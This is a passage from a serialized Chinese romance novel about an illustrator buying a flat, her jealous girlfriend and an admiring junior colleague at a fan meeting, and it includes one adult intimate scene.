她是画册的主稿,贡献最大,即便只有前期的百分之三十,金额也不小了。 加上这几年上班,开网店,还有接私活攒下来的钱,完全够一个首付。 第二天下午下班,谢舒毓就预约了房产中介。 而这件事,竟然是乌玫第一个知道的,也是目前为止,唯一一个知道的。 前一天,在乌玫提出想参观谢舒毓房间,了解装饰布局的时候,谢舒毓告诉乌玫,“等我走了,你就可以搬到这个大房间里。” “可是学姐,我才刚来你就要走了。”乌玫一下泄了气,坐到谢舒毓床边。 “不好意思,我不喜欢别人坐我的床。”谢舒毓把她提起来,丢到电脑桌边椅子上。 乌玫更加沮丧,“学姐嫌弃我。” “不是因为你来,我才要走,我早就有买房的打算了。”谢舒毓解释。 一切都无法转圜,小女生皱眉思索几秒,冲她扬起脸蛋,“那以后可以去学姐家做客吗?” “当然。”谢舒毓还没小气到这种地步。 第62章 人间值得 夏季天气多变,出门时候还好好的,看房途中,外面噼里啪啦下起大雨。 谢舒毓和房产中介一起被困在房子里,对方安抚说别急,要给同事打电话,请求帮忙送伞。 “我带了。”谢舒毓从随身的帆布包里取出一把折叠伞。 “啊——”房产中介愣了一下,继而恭维,“你真周到。” “到时候我送你回店里。”谢舒毓说。 他们门店就在小区外面的马路边上,没几步就到。 看的那种小洋房,房龄有七八年了,三室两厅,其中一个次卧跟主卧并排朝向,小半空间让给阳台,因此组成了面积相当可观的一片露天空间。 “坐北朝南,早晚都可以见到阳光,对面是自然公园,出去有公交地铁,还有私家车位,各种出行方式都可以满足。” 房产中介贴在阳台玻璃门边说。 谢舒毓抖开伞叶,伞朝着外面,按下把手处开关,“砰”一声,伞弹出去,舒展成朵。 房产中介吓了一跳,“机关伞呀!” 谢舒毓撑伞站在露台,回头冲他笑笑,“是不是很酷,像电影里的侠客。” 这把伞是温晚买给她的,本来有两把一模一样的,温晚那把没几个月就被弄丢,而谢舒毓这把已经用了五六年。 她对待手边一切都很爱惜,伞每次用完晾干才收起来,伞叶整整齐齐叠在一起,伞骨至今不见一丝锈迹。 撑伞在露台上来来回回走,听雨滴在伞面开花的声音,她唇边那个小酒窝也跟着开。 喜欢,好喜欢。 “这套房子是真不错。” 房产中介站门边比划,“一面可以隔绝做晾晒区,一面可以做休闲区,冬天围炉煮茶,夏天啤酒烧烤,再种上几盆花,赏雨赏雪,都相当哇塞的!” 真会说,真会卖。 “只是套内空间有点小,下大雨可能会返水到家里,就两扇玻璃门,冬天肯定不保暖,钻风,而且对面的自然公园,老年人晨练和晚上跳广场舞,会很吵……” “还有啊,老小区了,新房才多少单价,这房子不是他想卖多少就卖多少,是市场定的,现在市场有多差,大家有目共睹。” “我跟你说,还得跌。” 谢舒毓把网上学的那几句照搬念一遍,到处挑刺,最后说:“你再去跟房主谈谈。” 网上还有一招,她一并使了,明明房子里就她们两个,还故意压低嗓,搞得神神秘秘的。 “你能把总价谈下来,我就再多给你一笔佣金,到时候直接微信转给你,税都免了。” “可咱们这片是别墅区呀。”房产中介有点好笑地看着她,四十多岁的人,喊她姐。 “我说哥,你现在卖的也不是别墅啊。” 到楼下,谢舒毓伸手给他指了个方向,“你以为我不知道,别墅区环境,可比这儿强多了。再说你干嘛帮着房主说话,我才是你的小金主。” 两人掰扯半天,直到雨停,这人老跟她杠,谢舒毓有点烦,不送他了。 “你自己回去吧,我有个朋友住在附近,我要去她家玩。” “你有熟人呐,住哪儿?”房产中介问。 “就我刚才指的地方。”谢舒毓踩水往前走,夏天的雨来得快去得快,小水滴星星落落,她撑伞故意离他远远的,不给他躲。 “我就想跟她挨着,否则也不是非要买这个小区。” “那我送送你。”房产缩着肩膀。 两人路上继续掰扯,谢舒毓觉得自己够掏心窝子了。 买东西也看缘分,行就行,不行拉倒,她现在学会放平心态,强扭的瓜不甜。 其实原定的首付她完全够了,但讲价是必要环节,手里余点钱,还能再简单装修下,添置些家电。 门前分别,谢舒毓让他再努努力,还给他加油打气。 回头,进了温晚家。 没提前打招呼,表姑姑在可视门铃里看到人还挺意外的,呼着喊着跑出来迎。 “小碗没来呀?”表姑姑四处张望,“还是躲起来了。” “就我自己。”谢舒毓笑着捏了表姑姑的肩,“路过,顺道来看看,不然撞见,肯定要挨说。” 表姑姑轻轻推了她一把,“你这孩子,你知道就好!上大学以后都不在家里住了,怎么表姑姑虐待你了?” “哎呀哎呀,学习忙嘛——” 谢舒毓两手把在她肩膀,捏捏,轻推着她进了屋,“我好饿,还没吃饭呢。” 门口,表姑姑弯腰给她找鞋,这个家里,谢舒毓有自己的棉拖和凉拖,跟温晚一样,区别于其他客人,专属的。 温晚爸妈都不在家,她爸陪她妈出差去了,家里就表姑姑和外公。 谢舒毓一屁股坐在沙发,嘀咕说“累死了”,外公听见声响,从屋里走出来,坐旁边陪她说话,比亲生的还像亲生的。 家里的猫狗也跟过来凑热闹,温晚体质吸狗,谢舒毓吸猫,银渐层肥硕如猪,跳上沙发,蹲在她大腿。 表姑姑问她想吃什么。 “想吃有很多个蛋的蛋炒饭。” 谢舒毓仰着脸,下雨有点冷,她穿得少,吸了下鼻子。 表姑姑去温晚房间给她找了个小毯子披在肩膀,她手里捧杯外公泡好的茉莉花茶,眼睛眯起,被水雾熏红。 “我是来看房子的。” “表姑姑,外公,我要买房了。” 谢舒毓从来没想过,是温晚的家人,比她自己的家人更早得知消息。 温晚她是故意瞒着,想告诉表姑姑和外公,也不是只因为顺路。 大禹三过家门还不入呢,跟远近没关系。 她就是想告诉表姑姑和外公,她知道两位长辈一定会替她高兴,而不是缠着她问“哪里来的钱”,或是“怎么不跟家里商量一下”。 “哎呦,小筷子要买房了,我的天呐。” 表姑姑又是拍巴掌,又是拍大腿,“可不得了,现在年轻人没几个凭自己本事买房的,我们小筷子真是不得了。” “就买在附近。”谢舒毓站起身,朝外指了下,“C区,小洋房那块,二楼,三室两厅,已经在跟中介谈了。” 这个小区的房子,她看了好几套,今天这套是最满意的。 “花那钱。” 外公不太赞同,“直接住家里多好,像从前那样。” 表姑姑说才不是嘞,“现在的女孩子都特别要强,要独立,而且我们小筷子有这个实力。” 她把谢舒毓拉到一边,“小碗不愿意住家就是嫌我们烦,上次她爸开车送她过去,两人吵嘴,她爸回来说了我们才知道,嫌我们进房间不敲门,她没隐私。” 表姑姑叹了口气,有些自责道:“上次那个事,也是因为我不敲门,孩子毕竟大了,确实太不应该。” 她抬头看向谢舒毓,继而欢喜,“这下好了,她们就住在家附近,想来想来,想走就走,不愁饿肚子,也有自己的独立空间。小筷子,还是你周到。” 表姑姑拉着她手,都不知道该怎么爱了,小时候还得搂怀里亲亲抱抱,现在长成巨大一只,想摸摸头还得把胳膊伸老高。 “再给你加个菜吧,糖醋排骨,怎么样,冰箱里有,微波炉解冻快得很。” “那好!”谢舒毓用力点头。 这天晚上,谢舒毓吃得很饱,夜里躺在床上,撑得翻来覆去睡不着,还爬起来画了两个小时图。 第二天上午,房产中介给她打电话,喊她姐,问她方便说话不。 “在外面看房,你说吧。” 谢舒毓坐电脑面前,快捷键保存图层,起身走到窗边。 “我联系了房主,那边好像有点松口的迹象了。” 房产中介这次打电话,主要问她之前答应的佣金还算数不。 “当然。” 谢舒毓挂断电话前鼓励他,“要加油哦!” 人生真是变化无常,倒退个四五年,谁相信现在房子会跌成这样。 小画家也买得起大洋房了。 就很凑巧,在房价最为低迷的时候,她发了笔横财。 不想把这一切都归功为运气,是她足够努力,且从始至终,目标坚定。 她勤劳,踏实,务实,她依靠自己,得到了想要的一切。 种瓜得瓜,种豆得豆。 坐车去找温晚,夏日窗景飞驰,天空漂浮巨大的云朵,远山苍翠,田野宽阔,她双眼渐渐模糊,流下泪来。 想到小时候,想到不久前,继而是现在、此刻,她好委屈,好伤心,又好幸福。 静静哭泣,不打扰任何人,眼泪大颗掉落在衣襟和手背。 真的太久太久,没哭出来过了。 温晚最会哭,不管多小的事,只要不顺她心了,她脚一跺嘴一瘪就要哭,但哭完立即会变好。 她说,眼泪是情绪的窗口,她憋不住也不想憋,高兴就要笑,难过就要哭,生气就要骂。她就是这么一个简单的人。 天知道,谢舒毓有多羡慕。有时候甚至觉得自己不招人喜欢,是因为哭不出来。 邻座的大姐,似乎默默观察她许久,窸窣响动一阵,将展开的纸巾轻轻覆盖在她的手背。 所以,这个世界,总有那么多美好,在无声挽留。 告诉她,人间值得。 习惯坚强,独自消化情绪,不在任何人面前流露自己的脆弱,快下车的时候,谢舒毓已经完全调整好。 列车晚点二十分钟,温晚下班早,附近到处闲逛,在出站口接到人,立即冲上去告状。 “我坐按摩椅,不给付钱,那个椅子就把我顶起来了!” 她表情夸张,手舞足蹈,说按摩椅下面好像藏了个人,一直在用拳头顶她的背,把她顶成弧形。 “哎呦真是气死我了,我挣扎了半天才爬起来。” 她好快乐,这么小一件事,经她描述,变得好有趣。 当然,更少有人可以忍受被按摩椅持续暴打十几分钟,并不断魔音灌耳。 按摩椅也没想到,还有人厚脸皮到这种程度。 “其实赚到了。”谢舒毓摸摸她头,“按摩椅帮你拉伸了呢,其实按摩和被人暴打本质是差不多的,对吧。” 温晚狞笑举起拳头,“那我来帮你按摩按摩。” 谢舒毓看她样子,猜想她应该还不知道自己要买房的事。表姑姑没专程拎出来讲,许是默认她知道。 雷埋下,谢舒毓竟然有点小兴奋,期待某天爆雷,看到温晚大发雷霆的样子。 好恶毒,她谴责自己,牵起身边人绵软的小手。 “今天去吃烤肉吧,你请我。” 她很快就要变成穷光蛋了。 “好哇!”温晚爽快答应,“我养你一辈子也没问题。” 翌日,约定的时间到达见面会地点,温晚盛装打扮,去理发店做了个一次性的大卷,红裙波浪,风情万种,不知道的还以为她要去走红毯。 谢舒毓跟在旁边,素的脸,小背心,白衬衫,下身一条阔腿牛仔裤,像她助理。 “你都不打扮我。” 还没进场,谢舒毓捏着她手站在咖啡店门口,语气哀怨。 温晚从包里翻出个黑框的平光眼镜,给她架在鼻梁上。 “这是我专门为你准备的小配饰,使你看起来更像一位气质低调沉稳的女艺术家。” 谢舒毓戳穿,“你就是故意遮住我的脸,让人家看不清我。” “你是手艺人,靠手吃饭的,要脸做什么?” 温晚摸出口红,两根手指夹一面小镜子,“我才要好好打扮,让她们自惭形秽,从而远离你。” “你想多了,真的。”谢舒毓说。 倒不是她自谦,现场多是女作家的书粉,她凑个人头而已。 “不过我确实是个手艺人。”谢舒毓捏了把她的腰。 温晚瞬间领悟,身子扭一下,长发荡漾,“真讨厌!” 角落里,两人正调情,旁边一道小甜嗓。 “学姐——” 第63章 一个恶毒的念头 温晚有几年没见过这种像纸杯蛋糕一样软乎乎的小女生了。 还有“学姐”这个肉麻又中二的称呼。 她下意识望向谢舒毓。 刚刚还在打闹,立即收手,站直身体,谢舒毓望向面前人,有些意外。 “乌玫?” 乌玫今天穿了条蓝白配色的吊带连衣裙,外搭镂空小针织,裙摆层层叠叠像盛开的花,颈间还系有白色蕾丝蝴蝶结。 她身材娇小,周身气质是跟温晚那种令人不敢直视的明锐完全相左的亲切可爱。 两种风格的极致。 眼前一亮,谢舒毓不禁“呀”一声,“是你啊乌玫,你今天打扮得好漂亮。” 说到“漂亮”的时候,温晚头不动,两只眼珠斜向旁边。 乌玫两腿并得直直,双手交握身前,仰脸看着人,目光虔诚,如同欣赏一尊绝美的雕塑。 “学姐,你今天也好好看。” “小晚,这是我室友,之前跟你说过的,乌玫。” 谢舒毓大大方方的,“乌玫,这位是我女朋友,她叫温晚,傍晚的晚。” 女人的第六感告诉温晚,这个小蛋糕不简单。谢舒毓介绍说“女朋友”的时候,小蛋糕嘴角微不可察向下一撇。 正头娘子的体面,温晚伸出右手,“你好,小朋友。” “姐姐好。”乌玫牵起她手,裙摆拉开,规范屈膝礼。 欸?温晚眉梢一跳,有点意思。 小蛋糕柔软无害,“姐姐,你真漂亮。” 温晚笑起来,“你的‘mei’是哪个‘mei’。” “是玫瑰的玫,但很多人都以为是果脯乌梅的梅。” 乌玫说,她的名字常常被人写错,后来某天突发奇想,尝试用乌梅和玫瑰泡水,发现意外很好喝。 “我是学姐的粉丝,我在网上看到绯红说要开读者见面会,这趟是专门过来支持学姐的。” 所以她专程准备了礼物,身后小纸袋双手举到谢舒毓面前。 “学姐,打开看看吧。” 这种情景下,谢舒毓无法再拒绝。她打开纸袋,里面是那只她要求退货的蝴蝶标本,还有个手掌大的玻璃瓶。 “是我自制的乌玫果酱,里面有乌梅碎和可食用的滇红玫瑰,味道非常好。” 乌玫开心合掌,贴在脸颊,洋溢幸福笑容,“希望学姐喜欢。” 谢舒毓拿出那只蝴蝶标本,“我不是让你退货。” “可是这只蝴蝶真的好好看,它翅膀上的那种蓝,很像学姐,璀璨又忧郁的感觉,我真的很想很想把她送给学姐。” 她小声呜呜,扮可怜,甚至要给谢舒毓鞠躬,“学姐,请求你收下我的礼物。” 温晚心里骂了个脏词儿。 “哎呦人家一片心意嘛,你就收下了。” 她面上装得大方,“你的小粉丝欸,要好好对待,小心以后成为女明星黑历史,说你耍大牌。” “哪有那么夸张。” 谢舒毓到底还是接过纸袋,“但以后不要破费了。” “不是贵重的礼物。”乌玫看着她。 女作家笔名叫绯红,谢舒毓很喜欢这个名字,让她联想到绯红女巫。 见面会地点在商场一楼中间一大片空地,三人前后走,老远就看见绯红笔下人气角色的Q版立牌。 绯红的助理认出谢舒毓,连连招手,“小毓老师,快来!” 谢舒毓回头把纸袋交给温晚,小跑过去。 说是见面会,也是绯红的新书签售会,期间可能有粉丝提问,绯红前台签售期间,谢舒毓在后台准备。 不是绯红的读者,温晚也不愿意往人堆里挤,拎着纸袋,站在外围。 绯红出场,粉丝尖叫,温晚看向身边人,“你不去吗?” 乌玫摇头,“小毓老师还没出来呢。” “你这趟真是专程为谢舒毓来的?”温晚问道。 她没有怀疑谢舒毓的人格魅力,虽然那家伙总说自己不招人喜欢,哀怨像朵墙角的小蘑菇,但其实从小到大,偷偷喜欢她的人不在少数。 她高高瘦瘦的,长得好看,人和气,又很会画画,担任语文课代表和文艺委员,班级里一直是很特别的存在。 别说小孩子,大人都有慕强心理,她怎么可能会没人喜欢。 只是那些人还来不及走到她面前,就被温晚赶走了。 温晚不否认,她占有欲极强,跟谢舒毓吵架,她可以去跟别人交朋友,但谢舒毓不可以。 初中在老家县城,她们吵得最厉害的那次,谢舒毓也开始跟别人出双入对,温晚只一眼就十分火大,看到两人手挽手走在放学路上,她像一颗炮弹直直冲过去,轰开她们,同时把两人左右推到地上。 “你有病啊!”那女生吼。 “你有药啊。”她反问。 谢舒毓去把人搀起,“你真的有病。” “我就是有病!”温晚大叫。 此类情景,初中三年,常有发生。 后来到市里上高中,温晚遇见个硬茬。 左叶被推开,不怒反笑,拍拍屁股爬起来,问道:“你喜欢谢舒毓啊,反应这么大。” 温晚像只小鸭子,被人一下捏住嘴巴。 左叶就那么硬生生挤进来了,幸好,左叶有喜欢的人。 温晚后来感谢她,左叶确实是她们的性向启蒙。 高中时候,温晚就跟风宣布自己喜欢女生,谢舒毓当时还好奇问过。 温晚几次都忍不住想告诉她,但看她一脸天真,好像什么也不懂,又觉得没意思。 后来上大学,温晚严防死守,美院那些莺啊燕啊的,拼死拼活,可算是防住了。 现在好,她一不留神,来个乌玫果酱味的小蛋糕。 谢舒毓在后台,低着头跟绯红的助理说话,乌玫垫脚努力伸长了脖子看,满眼都是小星星。 温晚没追过星,也没遇见过粉丝追星,不知道这种到底是不是正常反应。 她低头看向旁边,恰好乌玫也抬起脸。 “姐姐,你好高。”乌玫嘟嘟嘴。 温晚对她说不出什么重话,“我穿了高跟鞋。” “我没有穿过高跟鞋。” 她低头,看着自己白色小皮鞋圆溜溜的鞋头,“小个子穿高跟鞋,搭配不好,就成小孩偷穿大人衣服了。” 温晚笑出声,忍不住伸手摸摸她头,“你这样很可爱,自信一点。” 但有句老话说得好。 可爱在性感面前一文不值。 温晚拨了拨头发,乌玫果酱味的小蛋糕面前装起来,扶正肩头小包,手臂抬起,细长的指尖散漫轻点,“喏,你学姐出来了。” “学姐!”乌玫欢呼跑走。 整场见面会持续一个多小时,绯红的新书,应读者要求,小部分谢舒毓也留下了签名。 谢舒毓字写得很好,跟着奶奶从小练,绯红前期应该跟她沟通过,专门准备了笔墨。 她现场提了一幅字,抽奖环节,那幅字就作为礼物附赠。 是绯红书里的一句话——山水有相逢。 好巧不巧,让乌玫抽到了。 温晚拿出手机,浏览器搜索了一下。 “姐姐!姐姐!”乌玫举着那幅字跑到温晚面前,“我抽到了!我运气好好!” 心说有什么了不起,回家我想让她写多少就有多少。 “那恭喜你哦。”温晚皮笑肉不笑。 “我学姐的字真好。” 墨迹还没干,乌玫两手举着,也不嫌胳膊酸。 温晚把浏览器搜索到的内容朗诵出来。 “山水有相逢,春风入卷来,望君多珍重,圆月杯中酒。” 她故作高深叹了一口气,“这是一首期待重逢的诗,也是一首离别的诗,明代,冯梦龙写的。” 乌玫呆滞,“姐姐,你好厉害。” 温晚掩唇发出一串“嚯嚯”声,被自己逗笑了。 “只是记忆力比较好。” “所以后来,书里面的两位主角,她们还是重逢了。” 乌玫看纸上右下角的落款。 见面会快要结束,温晚觉得自己必须要做点什么了,否则今天白来,白打扮。 她拎着小包“噔噔噔”走过去,那种明艳大美女的天然气场,使得周围人纷纷让道。 从小习惯了这种注视,温晚自信穿过人堆,撩了把头发,拢裙坐在谢舒毓面前那张小板凳上。 她歪着身子,单手撑腮,目光炯炯,热烈妩媚,“小毓老师,你有女朋友吗?” 远远见她,谢舒毓忍不住笑,人走到面前,嘴角几次努力往下压,实在压不住。 谢舒毓手虚掩唇,“有啊。” “哦?竟然有女朋友了。”温晚假装失望。 她也嘟嘴,不是小女孩撒娇那种纯良无害的表情,带点暧昧挑逗的意思,“来晚了。” “不晚。” 谢舒毓牵起她手,低头,亲吻她的手背,“我一直在等你。” 目光含笑,谢舒毓深深地凝望着她。 显然意想不到,温晚呆在原处。 旁边绯红带头起哄,发出连串“啊啊”尖叫,人群发出爆炸般的欢呼声。 有人大声喊,说这趟来值了来值了,有别人理解不了自己兴奋的点。 温晚愣住,忘记自己干什么来的。 她本来只是想给乌玫味小蛋糕一个狠狠的下马威,让她知难而退…… 但现在好像都不重要了,谢舒毓当着所有人宣布,她是她的女朋友。 她亲吻她的手背。 这么那么会! “傻了?”谢舒毓捏捏她脸,又凑近,飞快亲了一下她的嘴唇。 身体后仰,温晚瞬间脸爆红。 谢舒毓饶有兴味的样子,无所谓旁边手机怎么拍她们。 越盛大越好,越隆重越好。 甜蜜假象,其实暗藏刀锋,谢舒毓始终笑着,心中一个恶毒的念头。 就哄着她,顺着她,捧高高的,捧天上去。 再剪断她的线,看她从云端坠落,粉身碎骨。 不是生性爱自由,给你自由好了。 第64章 你省省吧 晚上绯红说要请大家吃饭,被温晚抢了,谢舒毓最近哄得她有点飘飘然。 “这地方我熟,我是东道主,理应我请客。” 东道主,这词儿好。 谢舒毓笑笑不说话,那就继续当你的东道主。 五星酒店的海鲜自助,人均四位数,有绯红,绯红女朋友和助理,温晚,谢舒毓和乌玫味小蛋糕。 六人,一张长桌,两面分坐,绯红和谢舒毓各自在中间。 绯红女朋友第一眼十分惊艳,她着装应该属于暗黑系朋克风,剔个寸头,小皮衣敞着,里面就一件黑色内衣,脖子上叮叮当当,大串项链,还有颈环和唇钉。 但她声音跟着装气质一点也不相符,怪软怪甜的,还有点天然夹。 “其实是我头发之前烫染太多,发质实在变得很差,我才剔光头。” 她很喜欢摸自己的头,说这种沙沙的感觉特别好,还邀请大家都来摸。 于是餐厅巡视的服务生就看到靠窗那张长桌边,四个女生排队去摸其中一个女生的头。 绯红平时很多机会可以摸,这时候就不凑热闹。 助理说如愿了,“我早就想摸,但一直不敢。” “不过我记得绯红姐以前好像是长头发。”谢舒毓几年前刷到过绯红照片,长发浓密,喜欢梳成一条粗辫子,穿新中式。 现在的绯红,头发打薄剪短,狗啃刘海搭配银色大耳环,甜酷。 “为了陪她。”绯红笑着摸了摸女朋友毛茸茸的圆脑袋。 温晚托腮,笑盈盈,“你们真有意思。” “你也很有意思。”绯红说温晚小表情特别多,挤眉弄眼的,但一点也不让人觉得讨厌,说她特别生动,并真诚夸奖,“而且我好少遇见你这种实打实走性感路线的。” 她低头看眼自己,又看看女朋友,“我们都没料。” “也不是每天都性感啦——” 温晚捂胸娇笑,说她并不是经常穿成这样,平时工作中还是挺严肃的。 “再说,同事不配。” 今天专程打扮为了什么,她摇头晃脑,那欠欠的小样儿,使大家把目光都落在乌玫身上。 这三人组合还挺有意思。 “这位呢?”绯红好奇。 “我学妹,现在也是同事和室友。”谢舒毓介绍说。 在场众人,俱都气场强大,乌玫毕竟年纪小,掌根慢吞吞搓在膝盖裙布,不敢对视。 “学姐是我的偶像,我在学校的时候就很喜欢她,她在我们校友名人墙上。” “连我这种人都可以上墙,可见我们学校,有多那啥,哈哈。” 谢舒毓给大家一个自行领会的表情。 众人笑开,说哪有哪有,小毓老师超厉害的! 在场六人,每人都是不同着装风格,助理环视一圈,说只有自己是社畜风,实惨。 大家有说有笑,这顿饭吃了快两个小时,绯红跟她女朋友喝得醉醺醺抱在一起哭,追忆往昔,说过去那几年有多不容易…… 谢舒毓和助理一起把她们挪车上,打包送酒店。 “你一个人照顾得过来吗?”谢舒毓担忧。 助理说没问题,“她们经常这样,我习惯了。” 谢舒毓给助理留了自己的电话,“有事叫我,周末两天都在。” 助理应下,先开车走了,只剩下乌玫跟她们在地下车库。 “你的酒店在哪里?”谢舒毓问。 乌玫摇头,“我还没有。” 绯红走了,温晚也不装了,语气有点冲,“不然住我家呗。” “啊?”乌玫显然吓一跳。 “家里不方便。”谢舒毓否决。 “你们两个睡床,我睡沙发。”温晚靠在车边笑。 谢舒毓没理,问乌玫什么计划,明天还玩吗? “本来是打算回去的,但现在车票已经过时间了。” 乌玫小声,“在吃饭的时候。” 谢舒毓邀请她一起,她不敢扫大家的兴。 “我改签了明天的。” 谢舒毓点点头,“那身份证带了吧。” 乌玫摸摸随身的小包,“带了。” 最后温晚开车带乌玫去了家附近的酒店,谢舒毓网上订房,两人亲自把她送到房间,确定她的安全。 乌玫喜欢给人鞠躬,“谢谢小晚姐,谢谢学姐。” 她站在走廊,目送她们走远。 进电梯,温晚彻底不装了,一把扯过谢舒毓,“你什么意思,把她带我面前什么意思,给我下马威是吧。” 就知道会这样。 谢舒毓耐着性子解释,“不是我让她来的,读者见面会的时间地点,绯红公布在微博,谁都看得到,她有自己的人身自由,她也可以是绯红的粉丝,这种事情本来就没什么好说的,不是吗?” “就算她喜欢我,粉丝对偶像崇拜、欣赏,也很正常,人家不是你想的那样。而且我在现场,态度很明确,所有人都知道你是我女朋友,除了家长那边暂时还不好公开,需要时间,我什么时候对别人隐瞒过你的身份?” 字字恳切,句句真诚,谢舒毓前所未有的好耐性,转身面对温晚,牵起她手。 “我们一周才能见一次面,我很珍惜跟你在待在一起的每分每秒,我们不要吵架,可以吗?” 电梯中途停下,进来几个人,温晚下意识把手往回缩,谢舒毓抓住不放,重复,“可以吗?” 她这个样子,还怎么吵,吵不起来。 温晚挣脱,“干嘛你,讨厌。” 那么多人看着。 好像有读心术,谢舒毓松手任她去了,只道:“我无所谓,又不是什么见不得人的事。” 电梯里,众人竖高耳朵,默默听八卦。 谢舒毓满足他们,“我是女同性恋,怎么样,又不犯法。” “哎呀!”温晚急得跺脚。 离开酒店,回到车上,温晚彻底没脾气了,娇俏小女生姿态。 “你最近变得好不一样。” 谢舒毓沉默。 温晚自己把自己哄好了,捧起她脸,“木马”一口,“小筷子,你对我真好。” 晚上回家,温晚把乌玫送的乌玫果酱拿来泡水喝,感觉味道还不错,决定霸占,收进冰箱。 蝴蝶标本也被她抢走了,摆在大玻璃书柜里,“免得你睹物思人,哼哼。” 谢舒毓感到好笑,为她可怜的智力,“我们住在一起,一周有五天,比跟你多出2.5倍,到底是谁在睹物思人。” 胡乱一挥臂,温晚才不管,“你可以收她送的礼,但礼物只能放在我这里,不然我就闹。” 她拧腰回屋,拿了睡衣出来,进卫生间洗澡。 谢舒毓坐在客厅,听水声响起,也去拿了睡衣,跟进浴室。 浴室里一声尖叫,谢舒毓把温晚按在冰冷的瓷砖墙,手摸到她牙关,低低警告,“别出声,楼下能听得到。” 楼房的结构是这样的,楼下炒菜的香气会飘到楼上,楼下小孩在浴室唱歌,楼上也听得见。 卫生间窗外是墙,本质是一点也看不见的,但出于一种心理作用,玻璃窗还是贴了静电膜。 现在,谢舒毓把那扇紧闭的窗推开了。 凉风扫过肩头,水雾拍打在窗框,温晚的一次性大卷没撑几个小时,化作柔软的黑色水草紧贴在雪白皮肤。她倒是想发出声音,却不能,她两张嘴都被填满了,只有嗓眼里“呜呜”几声淌得满手都是。 后来她趴在窗边,看楼下的绿地,看更远地方的高架桥,然后是低矮的山,主城区的几栋超级高楼,像海上的灯塔。 今天的谢舒毓,过分悍烈粗暴,但她极为中意。二十多年好友,温晚从未想过,这方便她们竟如此合拍。 疯得有点厉害,挂在门上的睡衣全打湿了,穿不得,温晚湿淋淋在里面等,等谢舒毓去拿干净的衣服。 腿发软,她有些站立不稳,撑着墙走到外面盥洗台,身上的水滴在毛茸地毯,她在镜子里看到自己,从肩膀位置往下,到处都是某人作恶后留下的红紫痕迹。 “凶巴巴的。”温晚嘀咕。 下一秒,被谢舒毓用厚实的大浴巾包起来。 她太累了,浴室里只能站着,腿肚子酸酸像石头,谢舒毓一来就软绵绵往人怀里倒。可谢舒毓又在亲她。 温晚轻轻推了一把,没推开。她摇头说不,谢舒毓把她带到卧室,她躺在浴巾上,被折叠成各种字母形状,第一次感觉躺也那么辛苦,想快点摆脱眼前的困局,全面配合。 外面不知道什么时候开始下雨,她一动不动躺在那,谢舒毓找来风筒,把她头发吹干了。 感觉身体变轻了一些,温晚爬进干爽的被窝里躲起来,谢舒毓进来抱她的时候,把她吓了一跳。 “你怎么了你,生我气啊。”温晚小声问。 谢舒毓一言不发,只是紧紧拥住她。 很累,很困,但还不想睡,温晚动动身子,缩在谢舒毓的肩窝里,“肚子饿。” 晚饭光顾着聊天,没吃几口,回家又折腾半天。 抚摸她云一般蓬松柔软的长发,谢舒毓问想吃什么。 温晚闭着眼睛琢磨会儿,“泡面。” 谢舒毓叹了口气,问她请客吃饭,心疼不。 “不心疼。”温晚财大气粗,“姐有钱。” 谢舒毓心中默默把饭钱换算成房价,亲亲她嘴角,起身去给她煮面。 “要加两个蛋!”温晚大声。 躯体化症状发作时,谢舒毓很希望伸手就能抱住她,亲吻到她。 她们在一起的时候,坏情绪都躲藏在角落,不敢冒头。 煎蛋的香味冒出来,谢舒毓也有点饿了,多加两个蛋,把冰箱里的午餐肉拿出来切片,一并煎。 等待水沸期间,她站在灶台前,心里悄悄对她的小女朋友说,只要你回家,我们长长久久在一起,我什么都愿意为你做。 温晚悄悄摸来身后抱住她的时候,她转头直接问了。 “什么时候回家。” “干嘛老提这个,我们现在不挺好的。” 温晚指着平底锅里的午餐肉,要谢舒毓喂给她吃。 照做,筷子夹一片,吹吹凉,谢舒毓喂到她嘴边。 她闭眼幸福咀嚼,嘴里肉咽下去,“反正你每周都会来看我的嘛。”她想尽一切借口,“而且你今天弄得我有点疼,真住到一起,天天这样我可受不了。” “是因为我们平时根本见不到!” 谢舒毓稍提高音量,为自己辩解,“你是我女朋友,我们在一起了,我这样有什么错。” “回去肯定要住家里,哪有在外面自由,家里人总唠叨,烦都烦死了。”温晚还想吃午餐肉,推推她胳膊。 谢舒毓不给夹了,“那我们可以买房啊,我买房。” “算了,你才有几个钱,你省省吧。”温晚自己拿筷子夹了肉,吃完拍拍屁股走了。 “我去客厅看电视,等你。” 行。 谢舒毓点点头,说“行”,不知道说给谁听。 第65章 横行无忌,得寸进尺 谢舒毓早上被电话吵醒。 乌玫打来,问她几点的车票,要不要一起回去。 抽出压麻的胳膊,谢舒毓撑身半坐,靠在床头,“你先走吧,我还得下午。” 乌玫听她声音有点哑,“是不是吵到学姐睡觉了。” 旁边温晚懒猫似的动了动,哼哼唧唧,十分不满。 她其实是没什么起床气的,睡梦中迷迷糊糊听了一耳朵,大概猜到对面是谁,胸中无名火起,想也不想,一把打掉谢舒毓手机。 “让她滚开!” 手机掉在木地板,两声闷响,乌玫吓得一哆嗦。 谢舒毓探身捡起,凑到耳边,“喂”一声。 乌玫疯狂道歉,随后挂断。谢舒毓把手机递到温晚面前,“屏幕被你摔坏了。” 睁开半只眼,瞥见手机屏幕上几道蛛网般的裂纹,温晚“哼”了一声,仍是不满,“谁让你接她电话。” 谢舒毓把手机放回床头。 缓了几秒,温晚补充说:“给你买新的,反正你这个也用了好几年,该换了。” “不是手机的事。”谢舒毓靠在那,语气淡淡的。 “那是什么事。”温晚团在被窝里嘀咕。 没事。 谢舒毓摇头,说“没事”,不跟她吵。 惯着呗,就继续惯着。 温晚准备好要吵架的,等半天没听见动静,脑袋从被窝里钻出来,“你怎么不说话。” 谢舒毓还是摇头,没什么好说。 “本来就是嘛!” 温晚不高兴,被里扑腾,像海鲜市场刚捞到塑料袋的活虾,“大清早给别人女朋友打电话,她就是故意的!故意的!” 她大声宣布,“我讨厌乌玫,讨厌讨厌!” “那我不能有自己的朋友吗?”谢舒毓问道。 温晚瞬间弹起,“难道叶子阿音不是你的朋友,学敏姐不是你的朋友,甚至女作家绯红也可以是朋友,我说过什么吗?这个乌玫根本就是居心不良!” “个小绿茶。”她咬牙切齿。 谢舒毓听不下去,让她闭嘴。 她更来劲,“绿茶绿茶绿茶!小绿茶!” 谢舒毓起身要走,她急了,纵身把人扑倒,像八爪鱼死死黏住,“你去哪里!” 她身上只有一件吊带和内裤,长发铺散得满背,肌肤温润,掌心触感绝佳。过分柔软的身体,盈得满怀,谢舒毓手落在她后腰,有点生气,寻至腰侧,不轻不重地掐了一把。 温晚有绝招,捏住人手腕,往下挪几寸,落在浑圆饱满的臀,歪一下头,“喜欢吗?” 